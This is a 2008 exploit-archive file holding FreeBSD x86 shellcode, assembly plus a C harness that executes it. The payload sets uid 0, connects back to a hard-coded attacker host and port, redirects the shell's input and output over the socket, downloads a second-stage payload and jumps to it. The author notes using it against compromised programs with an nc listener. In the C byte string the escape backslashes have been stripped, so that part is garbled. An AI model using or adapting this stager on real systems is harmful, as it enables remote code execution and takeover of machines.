/*
; sm4x - 2008
; reverse connect dl(shellcode) and execute, exit
;  - i've used this to feed pwnd progs huge messy shellcode ret'ing the results over nc ;)
;  - feed it with a $nc -vvl -p8000 <shellcode_in_file
; setuid(0); socket(); connect(); dups(); recv(); jmp; exit();
; 90 bytes (NULL free dep on remote address)
; FreeBSD 7.0-RELEASE

global _start
_start:

xor     eax, eax

; --- setuid(0)
push    eax
push    eax
mov     al, 0x17
push    eax
int     0x80

; --- socket()
push    eax
push    byte 0x01
push    byte 0x02
mov     al, 0x61
push    eax
int     0x80
mov     edx, eax

; --- sockaddr_in setup
push    0x90011ac      ; host 172.17.0.9 (.0. is a NULL)
push    0x401f02AA     ; port 8000
mov     eax, esp

; --- setup connect(edx, eax, 0x10);
push    byte 0x10
push    eax
push    edx
xor     eax, eax
mov     al, 0x62
push    eax
int     0x80
jne     done

; --- dup2(0+1+2) - remove if you dont want results sent over the wire
mov     cl, 0x03
xor     ebx, ebx
dups:
push    ebx
push    edx
mov     al, 0x5a
push    eax
int     0x80
inc     ebx
loop    dups

; --- recv(fd, *buf, 1028);
xor     eax, eax
push    word 0x0404      ; conf read size here
lea     ecx, [esp-0x0404] ; and here
push    ecx          
push    edx
mov     al, 0x03
push    eax
int     0x80

; --- jmp to recv shellcode
jmp     ecx          ; run shellcode
done:

; --- exit (optional -> pls exit from jmp shellcode)
xor     eax, eax
inc     eax
push    eax
push    eax
int     0x80

*/

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>

char code[] = "x31xc0x50x50xb0x17x50xcdx80x50"
       "x6ax01x6ax02xb0x61x50xcdx80x89"
       "xc2x68xacx11x00x09x68xaax02x1f"
       "x40x89xe0x6ax10x50x52x31xc0xb0"
       "x62x50xcdx80x75x24xb1x03x31xdb"
       "x53x52xb0x5ax50xcdx80x43xe2xf6"
       "x31xc0x66x68x04x04x8dx8cx24xfc"
       "xfbxffxffx51x52xb0x03x50xcdx80"
       "xffxe1x31xc0x40x50x50xcdx80";

int main(int argc, char **argv) {       
 int (*func)();
 printf("Bytes: %dn", sizeof(code));
 func = (int (*)()) code;
 (int)(*func)(); 
}

// www.Syue.com [2008-09-05]